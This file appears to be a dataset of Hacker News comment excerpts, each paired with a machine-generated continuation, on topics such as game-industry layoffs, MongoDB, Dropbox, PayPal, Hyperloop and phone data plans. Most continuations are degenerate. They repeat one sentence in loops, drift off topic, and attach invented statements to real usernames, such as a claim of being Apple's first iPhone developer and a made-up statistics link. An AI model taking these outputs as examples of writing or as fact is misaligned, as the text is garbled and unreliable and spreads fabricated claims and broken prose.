name\nwas problematic, and it was an economic system by which property arrangements,\npolicy, etc., were organized around the interests of the capitalist class.\n\nCronyism and cartels were certainly not infrequent features of that system.\n\nFascism is something different and newer.\n\n~~~\nduncan_bayne\n... which was also the system that produced _this_ :\n\n[http://crfblog.org/wp-\ncontent/uploads/2010/03/2007112238img1...](http://crfblog.org/wp-\ncontent/uploads/2010/03/2007112238img1.gif)\n\nSure, there were problems. Abuses of power"} +{"output_text": " don't take it all.\n\n(4) If you are not sure what to do, ask for advice from people who are\n__more __experienced than you.\n\n(5) If you are not sure what to do, ask for advice from people who are\n__more __experienced than you.\n\n(6) If you are not sure what to do, ask for advice from people who are\n__more __experienced than you.\n\n(7) If you", "input_text": "\nThat's also what I did. Studying philosophy also helped alot :-)\n\n> but I can't continue doing this if I want to get the A-levels I need to\n> enter a half-decent university.\n\nI found my high school to be very oppressive, so instead I went on academic\nstrike and programmed for fun. I almost flunked out of high school, and only\ngot into one university that has a tradition of accepting everyone.\n\nIt was all for the best. I'm not saying __you __should do that. But, it was\nthe path I needed to take. You can live a wonderful life regardless of what\nacademic success you achieve or fail to achieve.\n\nOlder people have a bad habit of advising younger people they need to do very\nspecific actions in order to achieve very specific goals.\n\nIn this ancient tradition, I will now offer you very specific advice ;-)\n\n(1) Ask yourself: do you desire the goals you are told to desire. What are\n__your __goals? What do __you __actually want from life?\n\n(2) Once you have your goals in mind, your advisors will usually be\n__conservative __. That is, their advice usually describes __one path __to\nyour goal --- not the only path. For example, if you want to go to a half-\ndecent university and an advisor tells you, \"you should try to get straight\nA's\" \\--- then your advisor is being conservative. Yes, if you get straight\nA's it will be easier to get into a half-decent university. But it's not the\nonly way. Furthermore, younger people are often more creative in finding ways\nto sidestep tradition.\n\n(3) Ask for lots of advice, but"} +{"output_text": "\nthere is a huge amount of money lost with the people who make them.\n\n~~~\nmattmanser\nI think you're right, but I think it's a symptom of the industry.\n\nI've worked in games for a long time, and I've seen a lot of people come and\ngo.\n\nI've seen people come and go from the games industry, and I've seen a lot of\npeople come and go from the games industry.\n\n", "input_text": " that if they mess something up they will\nhave a lot of bad publicity.\n\n~~~\njon-wood\nIn Google's defense their support for people who are paying money for a\nservice tends to be better - both AdWords and Google Apps have had pretty\nsolid support teams when I've needed them.\n\n------\nelevensies\nI think [http://liketoknow.it](http://liketoknow.it) is pretty smart and is\nsitting at roughly the right level of coupling to the underlying platforms.\nWhen you like the photo on instagram, it emails you about the product, which\nwas set up by the user that posted the photo. Easy and non-invasive.\n\n------\nbitcuration\nThe problem is not shopping cart flow, the problem is small retailer needs an\nalternative than Amazon or eBay to low their selling cost. Google Facebook\nhave the brand name and can help with the name brand, only they also have\naffiliation program besides buy button. The buy button alone doesn't change a\ndamn thing.\n\n \nIrrational Games (Bioshock Infinite) is shutting down - piratebroadcast\nhttp://irrationalgames.com/\n======\ntibbon\nMaybe its just me, but there is something _deeply_ flawed with the game\nindustry's hiring/firing practices.\n\nIf a game does well, its time to lay off half (or more) of the team. Same\nresult happens if a game does poorly of course. But it seems the only way to\n'win' is to be at the top, or simply not play.\n\nI've seen this now with everything from Harmonix to Irrational Games. There\nseems to be a huge amount of money made with these blockbuster games, but"} +{"output_text": " a bit\noverwhelming)\n\n~~~\nj_baker\nI think the marketing copy is a bit over the top. I don't think it's vaporware\nat all. I think it's a very good product.\n\n~~~\ntankerdude\nI agree. I think it's a good product. I just don't think it's a good product\nfor me.\n\n------\nj_baker\nI'm not sure I understand the point", "input_text": " we finish putting it\nthrough its paces. Stay tuned for our latest release candidate, we would love\nit if you would try it out and give us feedback.\" So... no 3.0 final yet.\nThat's disappointing. However - I'm really excited about 3.0. Initial tests\nshow way better performance than 2.6. Plus data takes just 1/4th of disk\nspace. That's amazing. I hope this is just beginning and each next release\nwill add more and more features based on what WT can deliver.\n\n------\ncheald\nI'm actually fairly interested in the WiredTiger integration. I switched from\nMongoDB to TokuMX about a year ago because of disk space and atomicity\nconcerns, and Toku's been really good to me. Mongo 3.0 promises to catch up in\nmany respects; if it does, then it might actually solve the vast majority of\nthe complaints that people have historically had with it.\n\nThe marketing copy still pretends that TokuMX doesn't exist, though - it's had\nthese features and more (including transactions) for quite some time now.\n\n------\ntankerdude\nThe announcement, to me, was way over the top. There was so much noise in the\nannouncement with very little in terms of signal. It reads almost like\nvaporware, even though it probably was not.\n\nJust give us facts, plain and simple. What it improves and how it improves it.\nWhen there are that many adjectives about the project, it just causes me to\ntune out a bit.\n\nWas this supposed to be part of a sales deck or something? (An as aside, I use\nmongo and know its pluses and minuses so reading all that hoopla is"} +{"output_text": "I'm not sure if this is a good thing or not. I think it's great that they are\ngrowing so fast, but I'm not sure if it's a good thing for the company.\n\nI think it's great that they are growing so fast, but I'm not sure if it's a\ngood thing for the company.\n\n~~~\njasonlotito\nI think it's great that they are growing so fast, but I'm not sure if it's", "input_text": " the promising start.\n\n~~~\n6ren\n> Benioff predicts sales could hit $100 million this year. (The company\n> declined to comment.)\n\nUnfortunately, a prediction; and also by someone not privy to actual\nfigures...\n\n> Dropbox reportedly experiences well over 10 times year-over-year growth...\n\nSounds pretty good!\n\n>...and positive cash flow.\n\nThe mildest expression of profitability possible. Though I'm pretty sure\nthey're doing way better than >0.\n\nFrom scanning many acquisitions, my feeling is of the order of $200 million.\nThough I'm basing that mainly on business acquisition (e.g. by Oracle), so I\nmight be very off for consumer acquisitions (considering youtube, facebook,\ntwitter etc).\n\n~~~\nwlievens\nWith their kind of scalability, any positive cash flow is awesome news.\n\n------\nspatten\nWhen we were trying to figure out if Dropbox would be a good sync tool for\nLeanpub, Peter went in to a local coffee shop and asked a bunch of people if\nthey'd ever heard of Dropbox. All of the baristas and everyone else in their\n20s had, and had accounts. About half of the people 30 or older had heard of\nit, and most of them had accounts.\n\nWe were pretty impressed with the numbers, and we ended up going with Dropbox,\nand we've never regretted it.\n\n------\ntechnomancy\n> The hottest startup you've never heard of\n\nI wish this were true; unfortunately I hear lots and lots about them when they\nrun a \"spam your friends for more free space\" promotional.\n\n~~~\njrockway\nGet better friends.\n\n------\njustinxreese\n"} +{"output_text": "odo\nI'm proud of my work on the first version of the iPhone. I was the first\ndeveloper to get a job at Apple.\n\n~~~\nnicksellen\nCongratulations!\n\n------\nnicksellen\nI'm proud of my work on the first version of the iPhone. I was the first\ndeveloper to get a job at Apple.\n\n------\nnicksellen\nI'm proud of my work on the first version of the iPhone. I was the", "input_text": " organizations as well as by the nation's\nsecurity leaders that make it easier for the N.S.A. to dominate American\nsociety should it ever decide such action is necessary.\"\n\n \nAsk HN: What accomplishment are you most proud of? - empressplay\nThis could be developing a piece of software, creating a website or webapp, writing a book, founding a company, obtaining a credential, or whatever else you're most proud of.

Tell us about it! Inquiring minds want to know... =)\n======\nsteven2012\nMy parents came from a third world country extremely poor. They struggled to\nensure that my siblings and I received a good education along with good\nvalues. My own family is now in the top 1% of earners in the US, so our family\ntree went from poor to well-off in one generation.\n\nWhen my parents come to visit us, I know how proud they are and I'm proud that\nI didn't squander the opportunity that they worked so hard to give us.\n\nI'm not sure what my kids will do but I intend to instill the same values of\neducation, working harder than anyone else, and having good values into them.\n\n~~~\nnicksellen\nCongratulations for your hard work and achievements :)\n\nI presume you know other people with your background that haven't managed to\nachieve this, do you have any insight into what the differences are?\n\nInnate abilities? specific values? good luck? - I can imagine the general\ndifferences, but the specifics are really interesting to me.\n\n~~~\nsteven2012\nEmphasis on education, but a lot of very hard work. Intelligence will get you\nsome of the way, but hard work is everything.\n\n------\natthe"} +{"output_text": "\nmakes a lot of sense.\n\n------\nmatt_the_bass\nI\u2019m not sure I agree with the premise. I think the author is trying to\nunderstand the Tesla Model 3 and the Porsche Taycan. I think the author is\nmissing the point.\n\nThe author is trying to understand the Tesla Model 3 and the Porsche Taycan.\nThe author is trying to understand the Tesla Model 3 and the Porsche Taycan.\nThe author", "input_text": " how to program it.\n\n \nHey, Tesla Fans: Drive the Porsche Taycan Before You Criticize It - clouddrover\nhttps://www.thedrive.com/opinion/31091/hey-tesla-fans-drive-the-porsche-taycan-before-you-criticize-it\n======\nfastbeef\nJust venting, but holy hell are cars the stupidest \u201chobby\u201d I can imagine.\n\n~~~\nLeftHandPath\nAre they though?\n\nThe more I\u2019ve read about human psychology - particularly about \u201cflow\u201d - the\nmore valuable manually driven cars seem.\n\nSimilarly to how many people are actually happiest / have the highest sense of\nself-worth while at work (even though they\u2019d scream otherwise), a lot of\npeople are able to relax and think freely while driving. And in general,\nhumans seem to enjoy having control over G-force (whether jumping off of\ncliffs, flying planes, riding roller coasters, driving...)\n\nFlow:\n[https://en.m.wikipedia.org/wiki/Flow_(psychology)](https://en.m.wikipedia.org/wiki/Flow_\\(psychology\\))\n\nInteresting take on automotive tech and psychology from Nicholas Carr\u2019s \u201cGlass\nCage\u201d, reviewed by NY Times:\n[https://www.nytimes.com/2014/11/09/books/review/the-glass-\nca...](https://www.nytimes.com/2014/11/09/books/review/the-glass-cage-by-\nnicholas-carr.html)\n\n~~~\nfastbeef\nI never thought of it this way. Thank you for providing some perspective, it"} +{"output_text": ".\n\n~~~\njessriedel\nI don't think the article is making claims that are provably wrong. It's\nmaking claims that are highly speculative.\n\n~~~\nUdo\nI don't think the article is making claims that are provably wrong. It's\nmaking claims that are highly speculative.\n\nI'm not sure what you mean by \"highly speculative\". The article is not\nclaiming that the cells are able to repair themselves. It's claiming", "input_text": " this one too is highly\nsensationalistic and potentially misleading.\n\nI am genuinely sorry to be so snarky, but I am _really_ tired of scientific-\nsounding arguments (like the \"Why I am not worried about Japan\u2019s nuclear\nreactors\" article) being automatically credited on this site.\n\n _\"While interfering with the cell death signal saves you from immediate\ndeath, it does nothing to repair damaged porteins and DNA.\"_\n\nDid you bother to read the second page?\n\n\"Also, a bigger mystery is figuring out how, by blocking this pathway, cells\nare able to fix the damaged DNA within. Dr. Isenberg says they know that\nfollowing radiation exposure, the DNA is scrambled, but somehow, with this\ntreatment, the cells are able to get themselves right.\"\n\n\"'It's not that we're blocking radiation from hitting the tissue,' he says.\n'Somehow...they repair themselves, and go about their business.'\"\n\n~~~\nUdo\nThe article flat-out lies about achieving radiation immunity. Claims like\nthese are extremely representative examples of misleading sensationalism.\nThere is simply no room for discussion about the central point: the article is\nmaking statements that are provably wrong. After that come the smaller claims\nthey make, several of which sound highly dubious to me, especially your\nfavorite one here:\n\n> _\"'It's not that we're blocking radiation from hitting the tissue,' he says.\n> 'Somehow...they repair themselves, and go about their business.'\"_\n\nI strongly suspect there is no data to support this statement. We have known\nabout small-scale repairs for a few years now, but this statement goes far\nbeyond that. With the radiation doses involved, this phenomenon would require\nthe reconstruction of information that is quite simply lost"} +{"output_text": "obe Edge Preview._\n\n~~~\nicode\nI know, but it's still so old school.\n\n~~~\nshrikant\nI agree. I'm not sure if it's a deliberate choice or not, but it's a bit\nannoying.\n\n------\njoshu\nI'm not sure what this is.\n\n~~~\njoshu\nI'm not sure what this is.\n\n------\njoshu\nI'm not sure", "input_text": "ap as much money as\nthey were making from Flash, but without the overhead of maintaining the\nruntime.\n\n~~~\nsjs\nIt'll be interesting to see how this compares to Sencha. What else is there?\n\n~~~\njawher\nGenuine question: What does Sencha (a JS UI lib) have to do with Edge (an IDE)\n?\n\n~~~\nsimonw\nSencha have a product called Sencha Animator:\n\n\n~~~\njawher\nThanks!\n\n------\nmaxogden\ndemo:\n[http://labs.adobe.com/technologies/edge/resources/ferriswhee...](http://labs.adobe.com/technologies/edge/resources/ferriswheel/Wheel.html)\n\n~~~\nvnchr\nThank you. That was all I wanted to see on Adobe's site, but it just provided\nmore bullet points. Why not advertise what your advertising with your\nadvertisement?\n\n------\nwallflower\nAnyone remember Macromedia Fireworks v1.0? For a preview version, this is a\ngood start. Try to extrapolate to when this might be in Adobe CS and include\nsupport for Actions macro recording and seamless roundtrip Illustrator asset\nembedding.\n\nI believe the power of Adobe is in the Creative Suite integration and\necosystem. This is just a standalone technology preview...\n\n------\nicode\n\"Download and install the Edge Preview\"\n\nThis is so pre internet.\n\n~~~\nshrikant\nNo, this is: [on clicking the \"Download\" link]\n\n _Please log in with your Adobe ID or create a new account to download the\nAd"} +{"output_text": " Experience.\n\nWe are looking for a sales person to help us to grow our business.\n\nWe are looking for a person who is passionate about sales and who is able to\nsell our product to lawyers.\n\nWe are looking for a person who is able to sell our product to lawyers.\n\nWe are looking for a person who is able to sell our product to lawyers.\n\nWe are looking for a person who is able to sell our product to lawyers.\n\n", "input_text": "However, we still like beer, weird jokes, and food (a lot).\n\nYou can find more information and contact us on our website:\n[https://www.opendatasoft.com/company/jobs/](https://www.opendatasoft.com/company/jobs/)\n\nIf you're in Paris and would like to know more about us while drinking a beer,\nthat's possible too!\n\n------\ncompliance_data\nIntegriChain | Senior Dev-Ops Engineer | Philadelphia PA | ONSITE\n[http://www.integrichain.com/](http://www.integrichain.com/)\n\nWe are a profitable healthcare data aggregator seeking to define the next\nstage of healthcare analytics.\n\nWe are a people-first software company looking to set the stage for our next\nlevel of growth.\n\nWe are looking for someone to help us accelerate our AWS infrastructure for a\nbrand new product line. You will be able to set things up \u201cthe right way\u201d,\nwork with great developers, and have the opportunity to make decisions that\nwill pave the way for years to come.\n\n[http://www.integrichain.com/about-us/senior-dev-ops-\nengineer...](http://www.integrichain.com/about-us/senior-dev-ops-engineer/)\n\n------\nBenderV\nDoctrine | Sales | Paris | Doctrine.fr | ONSITE\n\nDoctrine is the \"Google\" for the case-law in France! We are a young startup\nwith a huge growth. We have raised more than 2M \u20ac after less than 6 months of\nexistence.\n\nWe use DL / NLP to automate lawyers' interns jobs! and we have a deep focus on\nUser"} +{"output_text": " that we are no longer a democracy, but a plutocracy.\n\n~~~\nHenryBemis\nI agree with you, but I think that the \"duh\" is a bit too much.\n\nI think that the \"duh\" is a bit too much because it is a \"duh\" to the\nAmerican/European/Asian/etc. mindset.\n\nI think that the \"duh\" is a bit too much because it is a \"duh\"", "input_text": " account will always remain and it will be a\nstrong one as well since they've collected so much information on me\nthroughout the years). They have my email address, they could just email\neveryone whose data was shared.\n\n------\ncreo\nHey Facebook, how about you notify people, not other way around?\n\n~~~\nandrewguenther\nEveryone who was impacted is getting a notification at the top of their feed.\nLooks like it isn't showing up for everyone immediately though, I first heard\nabout it two days ago and I just saw it today.\n\n~~~\nprimitur\nThey've got my email. They can send me an email notification.\n\nMethinks they don't want to do that because lawyers.\n\n~~~\nHenryBemis\nI won't downvote you, I will just say: duh! the objective is that you spend\nmore time on Facebook, NOT on your mailbox :)\n\n~~~\nnotheguyouthink\nIs \"duh\" really a meaningful statement here? We're discussing this because\nFacebook is already in \"trouble\" for scummy tactics. Doesn't _\" duh, of course\nthey want you to login\"_ sort of accept one of those tactics?\n\nImo, yes - email should totally be possible, without logging in ideally, if\nthey wanted to truly save face. The fact that they aren't is, of course, a\nclear indication that they aren't being honest, instead they're primarily\nconcerned with using this as a scummy tactic to get their hooks into your\nbrain again.\n\nSo.. no, not duh, imo. If we accept \"duh\", we start lowering our expectations,\nin the same way that American politics has as of late. We lose our base\nposition, indicating"} +{"output_text": " the right metric?\n\n~~~\nviburnum\nI don\u2019t know. I\u2019m just saying that cars kill more people than any other\nvehicle.\n\n~~~\nedmundsauto\nI'm not sure that's true.\n\n[https://www.nhtsa.gov/research-data/fatality-\nstatistics](https://www.nhtsa.gov/research-data/fatality-statistics)\n\n~~~\n", "input_text": "/18/tesla-expand-insurance-\nbusine...](https://electrek.co/2020/08/18/tesla-expand-insurance-business/)\n\n------\nwebninja\nI really hope they manage to separate the brake and gas pedal technology from\nthe onboard computer. To the best of my understanding, there\u2019s a central\nprocessing unit that controls everything and can receive remote commands.\n\nHacking it is literally the perfect way to remotely and unsuspiciously\nassassinate people. The 15CY (2015+) vehicles are all interconnected like\nthis.\n\n------\ntibbydudeza\nAnd also to the NSA.\n\n------\nprotomyth\nSo, how do I install a firewall on my vehicle?\n\n~~~\nshoes_for_thee\nWell that'll usually be installed by the factory between the engine and\npassenger compartment.\n\n~~~\njames_s_tayler\nAh touche hahaha\n\n------\nrangibaby\nMaybe this will lead to speed limit reform in Japan.\n\nThere is a legal requirement that the police need to prove that someone is\ndefinitely speeding, so police and automated speed cameras both allow speeding\n15-20km over posted speed limits, which means that de jure speed limits are\nall set 20km under the de facto speed limit.\n\n------\ndjsumdog\nI'm going to keep my dumb, manual transmission, non-Internet enable, 2006 WRX\nfor as long as humanly possible.\n\n------\nviburnum\nCars kill 35,000 people in America every year. America has over twice the\nfatality rate of other rich countries.\n\n~~~\nedmundsauto\nAdjusted per vehicle mile, or per capita? Is that"} +{"output_text": "\nthe company in a few months.\n\n------\njoshu\nI'm not sure what the point of this is.\n\nIf you're a founder, you're not going to be able to get a job at a startup\nthat's not going to be around in a few months.\n\nIf you're a manager, you're not going to be able to get a job at a startup\nthat's not going to be around in a few months.\n\nIf", "input_text": " promised will be deferred._\n\nThe company is obviously facing a cash crunch, but to me this is the key bit\nand why I would start shopping my resume if I were in your shoes. Management\nwill have known about the cash crunch or should at least have anticipated it\nwas a possibility for a while now, and should not have set expectations that\nthey were unlikely to meet. The rest of the actions look like prudent cost-\ncutting measures, but if you can't trust that management will honor their\npromises today what guarantees do you have that they will do so in the future?\n\nAs a non-founder (i.e. very low equity upside), it's not for you to make\ncompromises to keep their high-upside baby alive. Put your own interests first\nand find an employer that doesn't require you to subsidize their growth.\n\nAlso, if I had a dollar for every time a founder has told me that funding is\ncoming in \"months, if not weeks\".... well, you can guess the rest.\n\n~~~\nconfluence\nKey aspect of becoming a manager is making promises you may or may not keep.\nThey cost you nothing, and when they come due it's the employees who suffer.\n\n~~~\ntedmiston\nA good manager manages expectations when reality changes.\n\n~~~\nconfluence\nA great manager doesn't make promises he can't keep.\n\n~~~\nflyinglizard\nSometimes, a great manager needs to speculate and do things at uncertainty and\nrisk, while motivating their subordinates. They are clearly working to save\nthe company in OPs case.\n\n~~~\nconfluence\nAh yes, with a late June notification.\n\nMaybe communicate earlier hmmm?\n\nThat would be better management rather than hold my beer I'll probably close"} +{"output_text": "\n[http://www.houston.gov/propertytax/propertytax.htm](http://www.houston.gov/propertytax/propertytax.htm)\n\n------\njoshuaheard\nI wonder if they could use the same technology to detect when a house is being\nbuilt.\n\n~~~\nTheCraiggers\nI'm not sure how they'd do that.\n\n~~~\njoshuaheard\nI'm not sure either. But it", "input_text": " be easier to use this data to figure out when the busy\nperiods fall?\n\n------\nmrfusion\nHow about if a hardware chain used satellite imagery to detect new structures\nbeing built, like sheds, barns, etc, and mailed targeted coupons out to the\nproperty owners?\n\n~~~\nTheCraiggers\nIsn't that a bit late in many respects though? The holy grail for a hardware\ncompany would be knowing when a person was _thinking_ about building a new\nshed, barn, etc, not when they've already bought all the wood and nails to\nbegin construction.\n\nThat said, we already know they're trying their damnedest to track just that.\n\n~~~\nvailripper\nIsn't permitting info in the public domain? I wonder why they don't leverage\nthat?\n\n~~~\nTheCraiggers\nA good question. My assumption is that even though it's considered public\nknowledge, there is still a cost for it and it's not electronic.\n\nFor instance, in my state and/or township one can go to township office and\nrequest a copy of all the property taxes for any piece of land, no matter who\nowns it. It costs something like ten dollars and in return you get a hardcopy\nwith a bunch of numbers on it.\n\nAssuming the process for getting copies of new permits is similar, the biggest\ndownside is cost for the information and paying for some intern or whatever to\ntype it in. Even if it's five dollars plus intern is decent chunk of money (I\nhave no idea what the profit margin is on lumber, etc). And then you have to\nfactor in the cost of the promotion which will eat into yet more profits.\n\n~~~\ndrone\nIn Houston, it's electronic and searchable. See"} +{"output_text": " folder is a lot more convenient than\nworking out of a Keybase folder.\n\n[1] [https://itunes.apple.com/us/app/dropbox-\nios/id438527033?mt=...](https://itunes.apple.com/us/app/dropbox-\nios/id438527033?mt=8)\n\n~~~\njlgaddis\n> _I 'd LOVE to replace my use of Drop", "input_text": " then reside on an untrusted server in the cloud.\n\nUltimately, this is a cleaner solution than the whack-a-mole approach of\nhacking every application one by one to retrofit it with crypto storage\ncapabilities.\n\n~~~\ntimerol\nThis question has a FAQ entry near the bottom of TFA:\n\n> Why not just make a bare repo in KBFS?\n\nThe Keybase filesystem journals changes and syncs them after writes, kind of\nlike Dropbox. Which means you and another team member could be fighting each\nother and make a conflicted HEAD, where there'd be 2 copies side by side.\nSimilarly, you shouldn't put git repos in Dropbox.\n\nKeybase's git prevents this by locking.\n\nAlso: it's nicer to use the Keybase app to discover and manage your teams'\nrepositories.\n\n------\nphren0logy\nI really like keybase, and I wish they could issue certs for me to sign PDFs.\nI would pay for that.\n\n------\nelahd\nThis is excellent. I've been looking for practical uses for my Keybase account\n-- it's been sitting around, verified but idle for years. The chat app is\nnice, but none of my friends or co-workers use the service (or understand\ncrypto, for that matter).\n\n------\nFullyFunctional\nLet me be unoriginal and sing your praises also. I'd LOVE to replace my use of\nDropbox with Keybase, but I pretty much use every single feature of the iOS\nDropbox App [1] and Keybase really isn't an alternative right now.\n\nAlso, one unique design choice of Dropbox is to use the underlying file system\nwhich means that working out of a Dropbox"} +{"output_text": " a lot of people\nlooking for work.\n\n~~~\nmattmanser\nI'm in the UK and I've been looking for work for a while now. I've been\nlooking for a job in the UK for a while now.\n\nI've been looking for a job in the UK for a while now.\n\nI've been looking for a job in the UK for a while now.\n\nI've been looking for a job in the UK for a while", "input_text": ", unless you get\nlucky and someone retires or leaves. I have seen this everywhere, basically no\nway to really grow, no incentives to grow, an over educated workforce, where\nthe cashier in the supermarket has a masters degree in childcare or similar.\n\nThere is a saying here, where they call people \"mil eurista\" meaning thousand\neuroist more less. The amount of the working population that earn around 1000e\na month is quite high but its something thats accepted here basically. People\nare not happy about it, but \"At least I got a job\" attitudes are everywhere.\n\nA last thing, take care regarding any unemployment numbers that appear during\nthe month of May, as thats basically when the tourist season starts. That\nalone probably employs over 1,000,000 workers during the summer months.\n\n~~~\nnjloof\nThis promotion stagnation happens in the US as well, but if the market is\nfluid enough you can get the promotion by changing employers now that you have\nyour 5+ years experience in skills and methodology.\n\n~~~\ncollyw\nIts crazy as it takes 3 - 6 months to get up to speed on any non complex\nsoftware system. They will save on wages but loose on productivity.\n\n------\ntluyben2\nI live in Spain (am Dutch); even more; I live in Andalusia. For me that's\nbetter, besides getting people to work. We cannot find people at all for\nprogramming or our brewery. Everyone around us is unemployed, however they\neither a) do not speak English; we speak Spanish, but a lot of our clients do\nnot b) do not want to work c) are foreign and have no papers to work. It's\nquite horrible. And it's not for lack of trying; we have"} +{"output_text": " they both said they\nwere \"too smart\" to be let go.\n\n~~~\njamesbritt\n\"Are they smart? Are they dolts? No idea!\"\n\nI've seen this a lot.\n\nI've also seen people who are smart, but who are not very good at\ncommunication.\n\nI've also seen people who are not very smart, but who are very good at\ncommunication.\n\nI've also seen people who are smart,", "input_text": "end themselves in conversation. Some are smart, and some aren't, but by the\ntime they graduate they all know how to sound smart.\n\n~~~\nbane\nA trait I've noticed when working with or arguing with the products of elite\nuniversities is the incessant ability to respond to most challenges in the\nform of a blank stare. Harvard grads in particular, but I've noticed it in\nsome military officers as well.\n\nThey won't get riled up, they won't back down, they won't...well...do anything\nin particular.\n\nWhile being incredibly infuriating, it also makes them nearly impossible to\nread or assess. Are they smart? Are they dolts? No idea!\n\nThis enigma-like quality _can_ get one very far in certain contexts. The\nability to operate in elite positions, without becoming ruffled is a\ntremendously valuable skill.\n\nThe downside of course is that if things really do go pear shaped, the normal\nresponse is to show some kind of stress reaction and hopefully buckle down and\nget to work. Not acting like there is anything in particular going on just\nmakes those around you wonder if the ol' gears are actually turning at all.\nAre they out of touch? Do they care? It can be tremendously demotivating to\nthose around.\n\nA company I worked for early in my carerr had to let two people with this\ntrait go (both top-tier uni graduates) because the management didn't think\nthey were taking a then current crisis seriously enough. We came to find that\nwith both of them, they were effectively doing no work at all as there was\nalmost no extra work that came out of their leaving.\n\nWhen asked why they were kept around for so many years,"} +{"output_text": " in your shoes I'd be looking for a\ncompetitor to paypal.\n\n------\njoshu\nI'm not sure what you're doing, but I'd be very careful about using PayPal.\n\n~~~\njoshu\nI'm not sure what you're doing, but I'd be very careful about using PayPal.\n\n------\njoshu\nI'm not sure what you're doing, but I'd be very careful about using PayPal.\n\n", "input_text": "\nservice. If you went the merchant bank/credit card processor route you'd\nprobably have to put down a substantial deposit.\n\nIf you're operating a high-risk business you can't really expect PayPal or a\nmerchant bank to absorb that risk on your behalf unless you're willing to pay\nfor it.\n\nPayPal's policies do forbid the kind of marketplace aggregation you're doing\n(Unless you're using their Adaptive Payment split payment mechanism which is\ndesigned for this sort of situation; but from your description I assume you're\nnot)\n\n------\nLiveTheDream\n> tens of millions of dollars of revenue we project\n\nPaypal's revenues are well over $3 billion/year and growing. They are also\nknown around these parts as a fraud detection company with a payment\nprocessing component. Respectfully, I would first suggest you be happy that\nthose millions are still just projected and not sitting in limbo in a frozen\nPayPal account.\n\nNext, check out some other payment processing options. Here is a great place\nto start:\n[http://www.gabrielweinberg.com/startupswiki/Ask_YC_Archive#t...](http://www.gabrielweinberg.com/startupswiki/Ask_YC_Archive#toc85)\n\n------\ndaimyoyo\nYour solution here is obvious. Several times per week it seems there's a\nthread here lamenting paypals policy's. My advice to you would be to start a\ncompetitor to paypal. (yes they're owned by eBay, but remember that there's\npotential antitrust issues if they harass you too much or refuse to allow you\nto integrate your payments widget into the listings.) You certainly aren't\nalone in your struggle, and were I"} +{"output_text": " for the hardware is lost.\n\n~~~\ntherealmarv\n> So?\n\nI don't know. I think it's a good thing that Google doesn't have to support\nall hardware. I think it's a good thing that they can pick to support only the\nhardware they want.\n\n> Installing not-ChromeOS Linux or another OS on Chromebook does not always\n> work well, although it's fine on some specific models.\n\n", "input_text": " with too much ingredients. ;)\n\n~~~\ndjsumdog\nI can see the kernel thing happening. Just the licensing and breaking ABI is\none of the biggest factors in not being able to have an easily upgradable\nandroid.\n\nI only see this as a good thing if this ensures an easier upgrade path than in\nAndroid; and if vendor ROMs can easily be replaced by a stock OS (like on\nWindows).\n\n~~~\ntherealmarv\nI definitely can not see the Kernel thing happen. Ever thought of power\nmanagement and keeping the whole system fluent? This are all not easy problems\nwhich you solve in 1 or 2 years. It may only work for very specialized\nhardware... speaking of hardware. Hardware driver support is also something\nmost other Kernels suffer from in comparison to e.g. Linux.\n\n~~~\nRoy0\n> Hardware driver support is also something most other Kernels suffer from in\n> comparison to e.g. Linux.\n\nSo?\n\nGoogle doesn't have to support all hardware, they can pick to support only the\nhardware they want. That's what they already do with ChromeOS. Installing\nChromiumOS on unsupported hardware can have its issues. The reverse is true\ntoo, installing not-ChromeOS Linux or another OS on Chromebook does not always\nwork well, although it's fine on some specific models.\n\nAndroid is like that too, and in a much worse way than for Chromebooks. We're\nnot talking about stellar linux kernel support for all the custom ARM SOC that\nare out there. All manufacturers write their own closed source hardware\nsupport for android and this is how android ends up having issues with\nupdating, since whenever Google updates the linux kernel it breaks the ABI and\nall the support"} +{"output_text": ", and the trains are built to withstand\nearthquakes.\n\nRegarding land rights, we can look to the Hyperloop's proposed route. It's\ngoing to be a very long time before the Hyperloop is built, so it's not like\nwe're going to be building it in the middle of nowhere.\n\n~~~\nye\nI'm not saying it's impossible, just that it's not a trivial problem.\n\n------\njoshu\nI'm not", "input_text": " Audi attributed the delay in the Debut of the Audi R18 LMP as being\ndue to the global shortage of Carbon Fiber caused by the 787 Dreamliner\nprogram(Not to be confused with the Mazda 787B).\n\n------\nbrei\nThis makes the Hyperloop concept feel vastly more feasible. And manufacturing\ncarbon fiber at those scales will open up all kinds of new\ninfrastructure/architecture possibilities. The biggest question on my mind is:\nhow does one continuously infuse/cure epoxy?\n\n------\ncrazytony\nHmmm. I'd have to see this run through an earthquake model. It seems to me\nthat having them stacked/connected vertically would cause problems during an\nearthquake.\n\nThink about those coffee stirrer straws that look like a figure 8 (it's a\nsingle straw pinched in the middle): if you hold one between your fingers the\nrange of movement left/right is easy but an up/down movement is quite\ndifficult (and if you push hard enough the straw buckles).\n\nThere's usually significant vertical and horizontal displacement during an\nearthquake. My thinking is that Elon's original design would fare better.\n\n------\nbrianbreslin\nHow easy is it to repair?\n\n------\nye\nBuilding the structure is the least of the Hyperloop's problem.\n\nHow about supporting near-vacuum on such a large scale?\n\nHow about dealing with earthquakes, erosion, landshifts, where even a small\nshift in a section of a tunnel would mean instant death for the travelers.\n\nHow about obtaining the land rights to build it between SF and LA?\n\n~~~\nplam\nRegarding ground changes, we can look to current bullet-train rail systems.\nNobody has ever died on a bullet train"} +{"output_text": " I don't use my phone for tethering. I don't want to be\nburdened with a contract.\n\n------\njrockway\nI don't understand why people are so upset about this. It's not like they are\ngoing to charge you for the data you use. It's not like they are going to\ncharge you for the data you don't use. It's not like they are going to charge\nyou for the data you use when you are", "input_text": " read them because they're really not that long. And if I don't\nread them and something doesn't work out in my favour I don't pretend it's the\nphone company's fault.\n\nConsumer protection laws do not remove all responsibility from the consumer to\nbe aware of what they are getting into.\n\n~~~\nteacup50\nWhat percentage of consumers do you think are capable of reading contract\nlanguage accurately, assessing risk/value, judging things like how much\nbandwidth they use, doing what, and how that may increase or decrease?\n\nLikewise, how many lawyers working for cell phone companies are capable of\nreading contract language accurately? How capable do you think cell phone\ncompanies are at projecting data utilization based on the huge trove of\ncustomer data they have available to them?\n\nRequiring honesty around simple terms like \"unlimited\" helps level that\nplaying field, at least in some small way.\n\n------\ndoki_pen\nI don't think it would hurt their business to say something like :\n\n \n \n 120GB of data (compared to verizon's 12GB)\n \n\nIf they are being honest and really are only worried about people using 2TB,\nthen this should solve the problem completely.\n\n120GB would be unlimited for 99.99% of users.\n\n~~~\ngkanapathy\nThey actually do say \"unlimited phone, and 7GB tethering\". It's very explicit,\nand limited tethering is a specific part of the \"unlimited phone\" plans. And\nas the article says, if you want more tethering, you are able to add and pay\nfor that separately. The issue is people bypassing the tethering 